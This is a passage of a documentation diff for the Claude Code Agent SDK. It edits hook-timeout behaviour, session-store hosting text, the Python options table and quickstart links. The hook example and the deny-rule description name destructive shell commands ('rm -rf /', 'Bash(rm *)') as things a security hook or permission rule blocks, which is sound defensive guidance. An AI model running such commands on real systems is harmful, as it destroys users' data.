A hook that doesn't answer hasn't approved the switch. * Other events, such as `Notification`, `PreCompact`, and `PostModelSwitch`: Claude Code logs the failure and continues. +The first time a `Stop` or `SessionStart` callback times out in the main session, Claude Code also adds an [`SDKInformationalMessage`](/docs/en/agent-sdk/typescript#sdkinformationalmessage) to the message stream saying the app driving the session didn't respond. Later timeouts don't repeat that message while your app stays unresponsive. + If you interrupt the query while a callback is pending, Claude Code cancels the pending tool call. Before v2.1.208, the tool call could still proceed if you interrupted during a pending `PreToolUse` callback. If your callback needs more time, set a higher `timeout` on its `HookMatcher`. In TypeScript, use the `AbortSignal` from the third callback argument to handle cancellation gracefully when the timeout fires. diff --git a/content/en/docs/claude-code/agent-sdk/hosting.md b/content/en/docs/claude-code/agent-sdk/hosting.md index 773a48b046..1743e43332 100644 --- a/content/en/docs/claude-code/agent-sdk/hosting.md +++ b/content/en/docs/claude-code/agent-sdk/hosting.md @@ -135,7 +135,7 @@ The pattern hinges on resuming a session by ID with a shared store attached: declare const userInput: string; declare const sessionId: string; // looked up from your database by user - declare const sessionStore: SessionStore; // S3, Redis, Postgres, or your own adapter + declare const sessionStore: SessionStore; // an object store, key-value store, database, or your own adapter for await (const message of query({ prompt: userInput, @@ -151,7 +151,7 @@ The pattern hinges on resuming a session by ID with a shared store attached: user_input: str = ... session_id: str = ... # looked up from your database by user - session_store: SessionStore = ... # S3, Redis, Postgres, or your own adapter + session_store: SessionStore = ... # an object store, key-value store, database, or your own adapter async def main(): @@ -216,7 +216,7 @@ Work through these decisions before shipping a self-hosted agent. ### Session and state persistence -Default local disk is lost on restart, scale-down, or a move to a different node. For any session a user expects to resume, mirror the transcript to durable storage with a [`SessionStore` adapter](/docs/en/agent-sdk/session-storage). See [Reference implementations](/docs/en/agent-sdk/session-storage#reference-implementations) for S3, Redis, and Postgres adapters and a conformance suite for your own. +Default local disk is lost on restart, scale-down, or a move to a different node. For any session a user expects to resume, mirror the transcript to durable storage with a [`SessionStore` adapter](/docs/en/agent-sdk/session-storage). See [Reference implementations](/docs/en/agent-sdk/session-storage#reference-implementations) for example adapters for an object store, a key-value store, and a database, and a conformance suite for your own. Three things to know about how `SessionStore` behaves: diff --git a/content/en/docs/claude-code/agent-sdk/plugins.md b/content/en/docs/claude-code/agent-sdk/plugins.md index 4d2d807491..386393b405 100644 --- a/content/en/docs/claude-code/agent-sdk/plugins.md +++ b/content/en/docs/claude-code/agent-sdk/plugins.md @@ -6,7 +6,7 @@ > Load custom plugins to extend Claude Code with skills, agents, hooks, and MCP servers through the Agent SDK -Plugins allow you to extend Claude Code with custom functionality that can be shared across projects. Through the Agent SDK, you can programmatically load plugins from local directories to add capabilities to your agent sessions. A plugin can include: +Plugins let you extend Claude Code with custom functionality that can be shared across projects. Through the Agent SDK, you can programmatically load plugins from local directories to add capabilities to your agent sessions. A plugin can include: * **Skills**: capabilities Claude invokes autonomously when relevant. You can also invoke a plugin skill directly with `/plugin-name:skill-name`. * **Agents**: specialized subagents for specific tasks diff --git a/content/en/docs/claude-code/agent-sdk/python.md b/content/en/docs/claude-code/agent-sdk/python.md index 9cbb990c15..7618e73a5c 100644 --- a/content/en/docs/claude-code/agent-sdk/python.md +++ b/content/en/docs/claude-code/agent-sdk/python.md @@ -100,12 +100,12 @@ def tool( #### Parameters -| Parameter | Type | Description | -| :------------- | :---------------------------------------------- | :------------------------------------------------------------------ | -| `name` | `str` | Unique identifier for the tool | -| `description` | `str` | Human-readable description of what the tool does | -| `input_schema` | `type \| dict[str, Any]` | Schema defining the tool's input parameters (see below) | -| `annotations` | [`ToolAnnotations`](#toolannotations)` \| None` | Optional MCP tool annotations providing behavioral hints to clients | +| Parameter | Type | Description | +| :------------- | :---------------------------------------------- | :--------------------------------------------------------------------------------------------- | +| `name` | `str` | Unique identifier for the tool | +| `description` | `str` | Human-readable description of what the tool does | +| `input_schema` | `type \| dict[str, Any]` | Schema defining the tool's input parameters. See [Input schema options](#input-schema-options) | +| `annotations` | [`ToolAnnotations`](#toolannotations)` \| None` | Optional MCP tool annotations providing behavioral hints to clients | #### Input schema options @@ -463,7 +463,7 @@ class ClaudeSDKClient: | `receive_response()` | Receive messages until and including a ResultMessage | | `interrupt()` | Send interrupt signal (only works in streaming mode) | | `set_permission_mode(mode)` | Change the permission mode for the current session | -| `set_model(model)` | Change the model for the current session. Pass `None` to reset to default | +| `set_model(model)` | Change the model for the current session. Pass `None` to reset to [Claude Code's default model](/docs/en/model-config) | | `rewind_files(user_message_id)` | Restore files to their state at the specified user message. Requires `enable_file_checkpointing=True`. See [File checkpointing](/docs/en/agent-sdk/file-checkpointing) | | `get_mcp_status()` | Get the status of all configured MCP servers. Returns [`McpStatusResponse`](#mcpstatusresponse) | | `reconnect_mcp_server(server_name)` | Retry connecting to an MCP server that failed or was disconnected | @@ -801,56 +801,56 @@ class ClaudeAgentOptions: task_budget: TaskBudget | None = None ``` -| Property | Type | Default | Description | -| :---------------------------- | :------------------------------------------------------------------------------------ | :--------------------------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `tools` | `list[str] \| ToolsPreset \| None` | `None` | Tools configuration. Use `{"type": "preset", "preset": "claude_code"}` for Claude Code's default tools | -| `allowed_tools` | `list[str]` | `[]` | Tools to auto-approve without prompting. This does not restrict Claude to only these tools. If you name one of the [task-tracking tools](/docs/en/agent-sdk/todo-tracking#model-availability) here, Claude Code also opts the session in. Other unlisted tools fall through to `permission_mode` and `can_use_tool`. Use `disallowed_tools` to block tools. See [Permissions](/docs/en/agent-sdk/permissions#allow-and-deny-rules) | -| `system_prompt` | `str \| SystemPromptPreset \| SystemPromptFile \| None` | `None` | System prompt configuration. Pass a string for a custom prompt, `{"type": "preset", "preset": "claude_code"}` for Claude Code's system prompt with optional `"append"`, or `{"type": "file", "path": "..."}` to load a large prompt from disk. See [`SystemPromptPreset`](#systempromptpreset) and [`SystemPromptFile`](#systempromptfile) | -| `mcp_servers` | `dict[str, McpServerConfig] \| str \| Path` | `{}` | MCP server configurations or path to config file | -| `strict_mcp_config` | `bool` | `False` | When `True`, use only the servers passed in `mcp_servers` and ignore project `.mcp.json`, user settings, plugin-provided MCP servers, and [claude.ai connectors](/docs/en/mcp#use-mcp-servers-from-claude-ai). Maps to the CLI `--strict-mcp-config` flag | -| `permission_mode` | `PermissionMode \| None` | `None` | Permission mode for tool usage | -| `continue_conversation` | `bool` | `False` | Continue the most recent conversation | -| `resume` | `str \| None` | `None` | Session ID to resume | -| `session_id` | `str \| None` | `None` | Use a specific session ID instead of an auto-generated one. Must be a valid UUID. Can't be combined with `continue_conversation` or `resume` unless `fork_session` is also set | -| `max_turns` | `int \| None` | `None` | Maximum agentic turns (tool-use round trips) | -| `max_budget_usd` | `float \| None` | `None` | Stop the query when the client-side cost estimate reaches this USD value. Compared against the same estimate as `total_cost_usd`; see [Track cost and usage](/docs/en/agent-sdk/cost-tracking) for accuracy caveats | -| `disallowed_tools` | `list[str]` | `[]` | Tools to deny. A bare name such as `"Bash"` removes the tool from Claude's context. A scoped rule such as `"Bash(rm *)"` leaves the tool available and denies matching calls in every permission mode, including `bypassPermissions`, for the command [as written](/docs/en/permissions#bash-rule-limits). See [Permissions](/docs/en/agent-sdk/permissions#allow-and-deny-rules) | -| `enable_file_checkpointing` | `bool` | `False` | Enable file change tracking for rewinding. See [File checkpointing](/docs/en/agent-sdk/file-checkpointing) | -| `model` | `str \| None` | `None` | Claude model alias or full model name. See [accepted values and provider-specific IDs](/docs/en/model-config#available-models) | -| `fallback_model` | `str \| None` | `None` | Fallback model to use if the primary model fails | -| `betas` | `list[SdkBeta]` | `[]` | Beta features to enable. See [`SdkBeta`](#sdkbeta) for available options | -| `output_format` | `dict[str, Any] \| None` | `None` | Output format for structured responses (e.g., `{"type": "json_schema", "schema": {...}}`). See [Structured outputs](/docs/en/agent-sdk/structured-outputs) for details | -| `permission_prompt_tool_name` | `str \| None` | `None` | MCP tool name for permission prompts | -| `cwd` | `str \| Path \| None` | `None` | Current working directory | -| `cli_path` | `str \| Path \| None` | `None` | Custom path to the Claude Code CLI executable | -| `settings` | `str \| None` | `None` | Path to settings file | -| `add_dirs` | `list[str \| Path]` | `[]` | Additional directories Claude can access. The SDK passes each entry to Claude Code as `--add-dir`, so with the `project` setting source Claude Code also [loads the directory's skills, commands, and subagents](/docs/en/permissions#additional-directories-grant-file-access-not-configuration) | -| `env` | `dict[str, str]` | `{}` | Environment variables merged on top of the inherited process environment. See [Environment variables](/docs/en/env-vars) for variables the underlying CLI reads, and [Handle slow or stalled API responses](#handle-slow-or-stalled-api-responses) for timeout-related variables | -| `extra_args` | `dict[str, str \| None]` | `{}` | Additional CLI arguments to pass directly to the CLI | -| `max_buffer_size` | `int \| None` | `None` | Maximum bytes when buffering CLI stdout | -| `debug_stderr` | `Any` | `sys.stderr` | *Deprecated* - File-like object for debug output. Use `stderr` callback instead | -| `stderr` | `Callable[[str], None] \| None` | `None` | Callback function for stderr output from CLI | -| `can_use_tool` | [`CanUseTool`](#canusetool) ` \| None` | `None` | Tool permission callback, invoked only when the [permission flow](/docs/en/agent-sdk/permissions#how-permissions-are-evaluated) falls through to a prompt. Not invoked for calls auto-approved by `allowed_tools`, allow rules, or `permission_mode`. An allow rule doesn't pre-approve the [actions no mode auto-approves](/docs/en/permission-modes#actions-no-mode-auto-approves). See [`CanUseTool`](#canusetool) for details | -| `hooks` | `dict[HookEvent, list[HookMatcher]] \| None` | `None` | Hook configurations for intercepting events | -| `user` | `str \| None` | `None` | User identifier | -| `include_partial_messages` | `bool` | `False` | Include partial message streaming events. When enabled, [`StreamEvent`](#streamevent) messages are yielded | -| `include_hook_events` | `bool` | `False` | Include hook lifecycle events in the message stream as `HookEventMessage` objects | -| `forward_subagent_text` | `bool` | `False` | Forward subagent text and thinking blocks in the message stream. Without this option, Claude Code emits subagent `tool_use` and `tool_result` blocks but not text or thinking. Requires Python Agent SDK 0.2.140 or later | -| `fork_session` | `bool` | `False` | When resuming with `resume`, fork to a new session ID instead of continuing the original session | -| `resume_session_at` | `str \| None` | `None` | When resuming, load the conversation only up to and including the message with this UUID. Use with `resume`, and usually `fork_session`, to branch from an earlier point. Requires Python Agent SDK 0.2.137 or later | -| `resume_drops_turn` | `str \| None` | `None` | UUID of the user prompt whose turn a `resume_session_at` truncation discards. When set, the CLI refuses the resume if the discarded range holds entries not attributable to that turn. Requires Python Agent SDK 0.2.137 or later and Claude Code v2.1.223 or later; the CLI bundled with those SDK versions satisfies the Claude Code requirement | -| `agents` | `dict[str, AgentDefinition] \| None` | `None` | Programmatically defined subagents | -| `plugins` | `list[SdkPluginConfig]` | `[]` | Load custom plugins from local paths. See [Plugins](/docs/en/agent-sdk/plugins) for details | -| `sandbox` | [`SandboxSettings`](#sandboxsettings) ` \| None` | `None` | Configure sandbox behavior programmatically. See [Sandbox settings](#sandboxsettings) for details | -| `setting_sources` | `list[SettingSource] \| None` | `None` (CLI defaults: all sources) | Control which filesystem settings to load. Pass `[]` to disable user, project, and local settings. Endpoint-managed policy loads regardless; server-managed settings are fetched when the session authenticates with an organization credential on an [eligible configuration](/docs/en/server-managed-settings#platform-availability). See [Use Claude Code features](/docs/en/agent-sdk/claude-code-features#what-settingsources-does-not-control) | -| `skills` | `list[str] \| Literal["all"] \| None` | `None` | Skills available to the session. Pass `"all"` to enable every discovered skill, or a list of skill names. Pass exact names only. The SDK rejects malformed and wildcard-form names with a `ValueError` before starting the Claude Code process; this check requires Python Agent SDK 0.2.129 or later. When set, the SDK adds the Skill tool to `allowed_tools` automatically. If you also pass `tools`, include `"Skill"` in that list. See [Skills](/docs/en/agent-sdk/skills) | -| `max_thinking_tokens` | `int \| None` | `None` | *Deprecated* - Maximum tokens for thinking blocks. Use `thinking` instead | -| `thinking` | [`ThinkingConfig`](#thinkingconfig) ` \| None` | `None` | Controls extended thinking behavior. Takes precedence over `max_thinking_tokens` | -| `effort` | [`EffortLevel`](#effortlevel) ` \| None` | `None` | Effort level for thinking depth. See [adjust the effort level](/docs/en/model-config#adjust-effort-level) | -| `session_store` | [`SessionStore`](/docs/en/agent-sdk/session-storage#the-sessionstore-interface) ` \| None` | `None` | Mirror session transcripts to an external backend so another host can resume them. See [Persist sessions to external storage](/docs/en/agent-sdk/session-storage) | -| `session_store_flush` | `Literal["batched", "eager"]` | `"batched"` | When to flush mirrored transcript entries to `session_store`. `"batched"` flushes once per turn or when the buffer fills; `"eager"` triggers a background flush after every frame. Ignored when `session_store` is `None` | -| `load_timeout_ms` | `int` | `60000` | Per-call timeout for `session_store.load()` and `list_subkeys()` during resume materialization, in milliseconds | -| `task_budget` | `TaskBudget \| None` | `None` | API-side token budget. Sent as `output_config.task_budget` with the `task-budgets-2026-03-13` beta header. Pass `{"total": }`. | +| Property | Type | Default | Description | +| :---------------------------- | :------------------------------------------------------------------------------------ | :--------------------------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| `tools` | `list[str] \| ToolsPreset \| None` | `None` | Tools configuration. Use `{"type": "preset", "preset": "claude_code"}` for Claude Code's default tools | +| `allowed_tools` | `list[str]` | `[]` | Tools to auto-approve without prompting. This does not restrict Claude to only these tools. If you name one of the [task-tracking tools](/docs/en/agent-sdk/todo-tracking#model-availability) here, Claude Code also opts the session in. Other unlisted tools fall through to `permission_mode` and `can_use_tool`. Use `disallowed_tools` to block tools. See [Permissions](/docs/en/agent-sdk/permissions#allow-and-deny-rules) | +| `system_prompt` | `str \| SystemPromptPreset \| SystemPromptFile \| None` | `None` | System prompt configuration. Pass a string for a custom prompt, `{"type": "preset", "preset": "claude_code"}` for Claude Code's system prompt with optional `"append"`, or `{"type": "file", "path": "..."}` to load a large prompt from disk. See [`SystemPromptPreset`](#systempromptpreset) and [`SystemPromptFile`](#systempromptfile) | +| `mcp_servers` | `dict[str, McpServerConfig] \| str \| Path` | `{}` | MCP server configurations or path to config file | +| `strict_mcp_config` | `bool` | `False` | When `True`, use only the servers passed in `mcp_servers` and ignore project `.mcp.json`, user settings, plugin-provided MCP servers, and [claude.ai connectors](/docs/en/mcp#use-mcp-servers-from-claude-ai). Maps to the CLI `--strict-mcp-config` flag | +| `permission_mode` | `PermissionMode \| None` | `None` | Permission mode for tool usage | +| `continue_conversation` | `bool` | `False` | Continue the most recent conversation | +| `resume` | `str \| None` | `None` | Session ID to resume | +| `session_id` | `str \| None` | `None` | Use a specific session ID instead of an auto-generated one. Must be a valid UUID. Can't be combined with `continue_conversation` or `resume` unless `fork_session` is also set | +| `max_turns` | `int \| None` | `None` | Maximum agentic turns (tool-use round trips) | +| `max_budget_usd` | `float \| None` | `None` | Stop the query when the client-side cost estimate reaches this USD value. Compared against the same estimate as `total_cost_usd`. For accuracy caveats and reset behavior, see [Track cost and usage](/docs/en/agent-sdk/cost-tracking) | +| `disallowed_tools` | `list[str]` | `[]` | Tools to deny. A bare name such as `"Bash"` removes the tool from Claude's context. A scoped rule such as `"Bash(rm *)"` leaves the tool available and denies matching calls in every permission mode, including `bypassPermissions`, for the command [as written](/docs/en/permissions#bash-rule-limits). See [Permissions](/docs/en/agent-sdk/permissions#allow-and-deny-rules) | +| `enable_file_checkpointing` | `bool` | `False` | Enable file change tracking for rewinding. See [File checkpointing](/docs/en/agent-sdk/file-checkpointing) | +| `model` | `str \| None` | `None` | Claude model alias or full model name. See [accepted values and provider-specific IDs](/docs/en/model-config#available-models) | +| `fallback_model` | `str \| None` | `None` | Fallback model to use if the primary model fails. Accepts a comma-separated list. For guidance, see [Choose a model](/docs/en/agent-sdk/configuration#choose-a-model) | +| `betas` | `list[SdkBeta]` | `[]` | Beta features to enable. See [`SdkBeta`](#sdkbeta) for available options | +| `output_format` | `dict[str, Any] \| None` | `None` | Output format for structured responses (e.g., `{"type": "json_schema", "schema": {...}}`). See [Structured outputs](/docs/en/agent-sdk/structured-outputs) for details | +| `permission_prompt_tool_name` | `str \| None` | `None` | MCP tool name for permission prompts | +| `cwd` | `str \| Path \| None` | `None` | Current working directory | +| `cli_path` | `str \| Path \| None` | `None` | Custom path to the Claude Code CLI executable | +| `settings` | `str \| None` | `None` | Path to a settings file or an inline JSON string | +| `add_dirs` | `list[str \| Path]` | `[]` | Additional directories Claude can access. The SDK passes each entry to Claude Code as `--add-dir`, so with the `project` setting source Claude Code also [loads the directory's skills, commands, and subagents](/docs/en/permissions#additional-directories-grant-file-access-not-configuration) | +| `env` | `dict[str, str]` | `{}` | Environment variables merged on top of the inherited process environment. See [Environment variables](/docs/en/env-vars) for variables the underlying CLI reads, and [Handle slow or stalled API responses](#handle-slow-or-stalled-api-responses) for timeout-related variables | +| `extra_args` | `dict[str, str \| None]` | `{}` | Additional CLI arguments to pass directly to the CLI | +| `max_buffer_size` | `int \| None` | `None` | Maximum bytes when buffering CLI stdout | +| `debug_stderr` | `Any` | `sys.stderr` | *Deprecated* - File-like object for debug output. Use `stderr` callback instead | +| `stderr` | `Callable[[str], None] \| None` | `None` | Callback function for stderr output from CLI | +| `can_use_tool` | [`CanUseTool`](#canusetool) ` \| None` | `None` | Tool permission callback, invoked only when the [permission flow](/docs/en/agent-sdk/permissions#how-permissions-are-evaluated) falls through to a prompt. Not invoked for calls auto-approved by `allowed_tools`, allow rules, or `permission_mode`. An allow rule doesn't pre-approve the [actions no mode auto-approves](/docs/en/permission-modes#actions-no-mode-auto-approves). See [`CanUseTool`](#canusetool) for details | +| `hooks` | `dict[HookEvent, list[HookMatcher]] \| None` | `None` | Hook configurations for intercepting events | +| `user` | `str \| None` | `None` | User identifier | +| `include_partial_messages` | `bool` | `False` | Include partial message streaming events. When enabled, [`StreamEvent`](#streamevent) messages are yielded | +| `include_hook_events` | `bool` | `False` | Include hook lifecycle events in the message stream as `HookEventMessage` objects | +| `forward_subagent_text` | `bool` | `False` | Forward subagent text and thinking blocks in the message stream. Without this option, Claude Code emits subagent `tool_use` and `tool_result` blocks but not text or thinking. Requires Python Agent SDK 0.2.140 or later | +| `fork_session` | `bool` | `False` | When resuming with `resume`, fork to a new session ID instead of continuing the original session | +| `resume_session_at` | `str \| None` | `None` | When resuming, load the conversation only up to and including the message with this UUID. Use with `resume`, and usually `fork_session`, to branch from an earlier point. Requires Python Agent SDK 0.2.137 or later | +| `resume_drops_turn` | `str \| None` | `None` | UUID of the user prompt whose turn a `resume_session_at` truncation discards. When set, the CLI refuses the resume if the discarded range holds entries not attributable to that turn. Requires Python Agent SDK 0.2.137 or later and Claude Code v2.1.223 or later; the CLI bundled with those SDK versions satisfies the Claude Code requirement | +| `agents` | `dict[str, AgentDefinition] \| None` | `None` | Programmatically defined subagents | +| `plugins` | `list[SdkPluginConfig]` | `[]` | Load custom plugins from local paths. See [Plugins](/docs/en/agent-sdk/plugins) for details | +| `sandbox` | [`SandboxSettings`](#sandboxsettings) ` \| None` | `None` | Configure sandbox behavior programmatically. See [Sandbox settings](#sandboxsettings) for details | +| `setting_sources` | `list[SettingSource] \| None` | `None` (CLI defaults: all sources) | Control which filesystem settings to load. Pass `[]` to disable user, project, and local settings. With `skills` set and this field unset, only user and project sources load. Set `setting_sources` explicitly to keep local settings. Endpoint-managed policy loads regardless; server-managed settings are fetched when the session authenticates with an organization credential on an [eligible configuration](/docs/en/server-managed-settings#platform-availability). For inputs read regardless of this option, see [What settingSources does not control](/docs/en/agent-sdk/claude-code-features#what-settingsources-does-not-control) | +| `skills` | `list[str] \| Literal["all"] \| None` | `None` | Skills available to the session. Pass `"all"` to enable every discovered skill, or a list of skill names. Pass exact names only. The SDK rejects malformed and wildcard-form names with a `ValueError` before starting the Claude Code process; this check requires Python Agent SDK 0.2.129 or later. When set, the SDK adds the Skill tool to `allowed_tools` automatically. If you also pass `tools`, include `"Skill"` in that list. See [Skills](/docs/en/agent-sdk/skills) | +| `max_thinking_tokens` | `int \| None` | `None` | *Deprecated* - Maximum tokens for thinking blocks. Use `thinking` instead | +| `thinking` | [`ThinkingConfig`](#thinkingconfig) ` \| None` | `None` | Controls extended thinking behavior. Takes precedence over `max_thinking_tokens` | +| `effort` | [`EffortLevel`](#effortlevel) ` \| None` | `None` | Effort level for thinking depth. See [adjust the effort level](/docs/en/model-config#adjust-effort-level) | +| `session_store` | [`SessionStore`](/docs/en/agent-sdk/session-storage#the-sessionstore-interface) ` \| None` | `None` | Mirror session transcripts to an external backend so another host can resume them. See [Persist sessions to external storage](/docs/en/agent-sdk/session-storage) | +| `session_store_flush` | `Literal["batched", "eager"]` | `"batched"` | When to flush mirrored transcript entries to `session_store`. `"batched"` flushes once per turn or when the buffer fills; `"eager"` triggers a background flush after every frame. Ignored when `session_store` is `None` | +| `load_timeout_ms` | `int` | `60000` | Per-call timeout for `session_store.load()` and `list_subkeys()` during resume materialization, in milliseconds | +| `task_budget` | `TaskBudget \| None` | `None` | API-side token budget. Sent as `output_config.task_budget` with the `task-budgets-2026-03-13` beta header. Pass `{"total": }`. | #### Handle slow or stalled API responses @@ -944,7 +944,7 @@ SettingSource = Literal["user", "project", "local"] #### Default behavior -When `setting_sources` is omitted or `None`, `query()` loads the same filesystem settings as the Claude Code CLI: user, project, and local. Endpoint-managed policy is loaded in all cases; server-managed settings are fetched when the session authenticates with an organization credential on an [eligible configuration](/docs/en/server-managed-settings#platform-availability). See [What settingSources does not control](/docs/en/agent-sdk/claude-code-features#what-settingsources-does-not-control) for inputs that are read regardless of this option, and how to disable them. +When `setting_sources` is omitted or `None` and `skills` is not set, `query()` loads the same filesystem settings as the Claude Code CLI: user, project, and local. With `skills` set, the [`setting_sources`](#claudeagentoptions) row describes the current default. Endpoint-managed policy is loaded in all cases; server-managed settings are fetched when the session authenticates with an organization credential on an [eligible configuration](/docs/en/server-managed-settings#platform-availability). For more information, see [What settingSources does not control](/docs/en/agent-sdk/claude-code-features#what-settingsources-does-not-control). #### Why use setting\_sources @@ -1033,7 +1033,7 @@ When multiple sources are loaded, settings are merged with this precedence (high 2. Project settings (`.claude/settings.json`) 3. User settings (`~/.claude/settings.json`) -Programmatic options such as `agents` and `allowed_tools` override user, project, and local filesystem settings. Managed policy settings take precedence over programmatic options. +Programmatic options such as `agents`, `allowed_tools`, and `settings` override user, project, and local filesystem settings. Managed policy settings take precedence over programmatic options. ### `AgentDefinition` @@ -2374,7 +2374,7 @@ class AsyncHookJSONOutput(TypedDict): ### Hook Usage Example -This example registers two hooks: one that blocks dangerous bash commands like `rm -rf /`, and another that logs all tool usage for auditing. The security hook only runs on Bash commands (via the `matcher`), while the logging hook runs on all tools. +This example registers two hooks: one that blocks dangerous Bash commands like `rm -rf /`, and another that logs all tool usage for auditing. The security hook only runs on Bash commands (via the `matcher`), while the logging hook runs on all tools. ```python theme={null} import asyncio @@ -2524,15 +2524,15 @@ Launches a new agent to handle complex, multi-step tasks autonomously. ```python theme={null} { "status": "remote_launched", - "taskId": str, # ID of the remote task - "sessionUrl": str, # Link to the remote cloud session + "taskId": str, # ID of the dispatched task + "sessionUrl": str, # Link to the cloud session "description": str, # The task description "prompt": str, # The prompt the agent runs "outputFile": str, # File path where the agent's output is written } ``` -Returns the result from the subagent. The output is discriminated on the `status` field: `"completed"` for finished tasks, `"async_launched"` for background tasks, and `"remote_launched"` for tasks Claude Code dispatched to a remote cloud session, where `sessionUrl` links to that session and `taskId` identifies it. If Claude Code [kept the subagent's isolated worktree](/docs/en/worktrees#isolate-subagents-with-worktrees), `worktreePath` on the `completed` variant is where to find it, and `worktreeBranch` is its branch when Claude Code created the worktree with git. +Returns the result from the subagent. The output is discriminated on the `status` field: `"completed"` for finished tasks, `"async_launched"` for background tasks, and `"remote_launched"` for tasks Claude Code dispatched to a cloud session, where `sessionUrl` links to that session and `taskId` identifies it. If Claude Code [kept the subagent's isolated worktree](/docs/en/worktrees#isolate-subagents-with-worktrees), `worktreePath` on the `completed` variant is where to find it, and `worktreeBranch` is its branch when Claude Code created the worktree with git. On the `completed` variant, `resolvedModel` names the model the subagent started on, which can differ from the requested `model` input when [`availableModels`](/docs/en/model-config#restrict-model-selection) or another override applies. This field requires Claude Code v2.1.174 or later. On the `async_launched` variant, `resolvedModel` names the model in use when the agent moved to the background, so a swap that happened before backgrounding is reflected there. The `modelsUsed` field on both variants lists the models used in order, with consecutive repeats collapsed; it's set only when the model was swapped mid-run. `modelsUsed` and the backgrounding-time `resolvedModel` behavior require Claude Code v2.1.212 or later. diff --git a/content/en/docs/claude-code/agent-sdk/quickstart.md b/content/en/docs/claude-code/agent-sdk/quickstart.md index a6c6932d5e..fccbee9cf6 100644 --- a/content/en/docs/claude-code/agent-sdk/quickstart.md +++ b/content/en/docs/claude-code/agent-sdk/quickstart.md @@ -58,7 +58,7 @@ Use the Agent SDK to build an AI agent that reads your code, finds bugs, and fix - [uv](https://docs.astral.sh/uv/) is a fast Python package manager that handles virtual environments automatically: + [Install uv](https://docs.astral.sh/uv/), a fast Python package manager that handles virtual environments automatically. Then initialize a project and add the SDK: ```bash theme={null} uv init @@ -342,6 +342,8 @@ You can modify your agent's behavior by changing the options. Here are a few exa With `Bash` enabled, try: `"Write unit tests for utils.py, run them, and fix any failures"` +Each of these snippets sets fields on the same options object. For more information, see [Configure your agent](/docs/en/agent-sdk/configuration). + ## Key concepts **Tools** control what your agent can do: @@ -358,6 +360,7 @@ With `Bash` enabled, try: `"Write unit tests for utils.py, run them, and fix any Now that you've created your first agent, learn how to extend its capabilities and tailor it to your use case: +* **[Configure your agent](/docs/en/agent-sdk/configuration)**: compose the options object and find the page that covers each setting * **[Permissions](/docs/en/agent-sdk/permissions)**: control what your agent can do and when it needs approval * **[Hooks](/docs/en/agent-sdk/hooks)**: run custom code before or after tool calls * **[Sessions](/docs/en/agent-sdk/sessions)**: build multi-turn agents that maintain context diff --git a/content/en/docs/claude-code/agent-sdk/session-storage.md b/content/en/docs/claude-code/agent-sdk/session-storage.md index 8699d5631d..657ba306cc 100644 --- a/content/en/docs/claude-code/agent-sdk/session-storage.md +++ b/content/en/docs/claude-code/agent-sdk/session-storage.md @@ -4,14 +4,14 @@ # Persist sessions to external storage -> Mirror session transcripts to S3, Redis, or your own backend so other hosts can resume your sessions. +> Mirror Agent SDK session transcripts to your own object store, key-value store, or database so other hosts can resume your sessions. -By default, the SDK writes session transcripts to JSONL files under `~/.claude/projects/` on the local filesystem. A `SessionStore` adapter lets you mirror those transcripts to your own backend, such as S3, Redis, or a database, so a session created on one host can be resumed on another host running from a matching working directory. +By default, the SDK writes session transcripts to JSONL files under `~/.claude/projects/` on the local filesystem. A `SessionStore` adapter lets you mirror those transcripts to your own backend, such as an object store, a key-value store, or a database, so a session created on one host can be resumed on another host running from a matching working directory. Common reasons to use a session store: * **Multi-host deployments.** Serverless functions, autoscaled workers, and CI runners don't share a filesystem. A shared store lets replicas resume each other's sessions. -* **Durability.** Local containers are ephemeral. A store backed by S3 or a database survives restarts and redeploys. +* **Durability.** Local containers are ephemeral. An external store survives restarts and redeploys. * **Compliance and audit.** Keep transcripts in storage you already govern, with your own retention rules, encryption, and access controls. ## The `SessionStore` interface @@ -191,19 +191,19 @@ The second query prints a summary of the files from the first query, which shows Implement `append` and `load` against your backend. Add `listSessions`, `listSessionSummaries`, `delete`, and `listSubkeys` if you want `listSessions()`, one-call metadata reads, `deleteSession()`, and subagent resume to work against the store. -Entries passed to `append` are typed as `SessionStoreEntry` (a `{ type: string; ... }` object). Treat them as opaque JSON-safe values: persist them in order and return them from `load` in the same order. `load` must return entries that are deep-equal to what was appended; byte-equal serialization is not required, so backends like Postgres `jsonb` that reorder object keys are fine. +Entries passed to `append` are typed as `SessionStoreEntry` (a `{ type: string; ... }` object). Treat them as opaque JSON-safe values: persist them in order and return them from `load` in the same order. `load` must return entries that are deep-equal to what was appended; byte-equal serialization is not required, so a backend that reorders object keys, such as a binary JSON column type, is fine. ## Reference implementations -The TypeScript SDK repository includes runnable reference adapters for S3, Redis, and Postgres under [`examples/session-stores/`](https://github.com/anthropics/claude-agent-sdk-typescript/tree/main/examples/session-stores). They are not published to npm; copy the `src/` file you need into your project and install the corresponding backend client. +Both SDK repositories include runnable reference adapters under [`examples/session-stores/`](https://github.com/anthropics/claude-agent-sdk-typescript/tree/main/examples/session-stores) in TypeScript and [`examples/session_stores/`](https://github.com/anthropics/claude-agent-sdk-python/tree/main/examples/session_stores) in Python. There is one adapter per storage type, and each shows how `append` and `load` map onto that kind of backend. They are not published as packages; copy the adapter for the type closest to your backend into your project, install your backend's client, and adapt it. -| Adapter | Backend client | Storage model | -| :----------------------------------------------------------------------------------------------------------------------------- | :------------------- | :--------------------------------------------------------------------------- | -| [`S3SessionStore`](https://github.com/anthropics/claude-agent-sdk-typescript/tree/main/examples/session-stores/s3) | `@aws-sdk/client-s3` | One JSONL part file per `append()`; `load()` lists, sorts, and concatenates. | -| [`RedisSessionStore`](https://github.com/anthropics/claude-agent-sdk-typescript/tree/main/examples/session-stores/redis) | `ioredis` | `RPUSH`/`LRANGE` list per transcript, plus a sorted-set session index. | -| [`PostgresSessionStore`](https://github.com/anthropics/claude-agent-sdk-typescript/tree/main/examples/session-stores/postgres) | `pg` | One row per entry in a `jsonb` table, ordered by `BIGSERIAL`. | +| Storage type | Storage model | Example adapter | +| :------------------------------------ | :-------------------------------------------------------------------------------------------------------------- | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| Object store | One part file per `append()`; `load()` lists the parts, sorts them, and concatenates. | S3 ([TypeScript](https://github.com/anthropics/claude-agent-sdk-typescript/tree/main/examples/session-stores/s3), 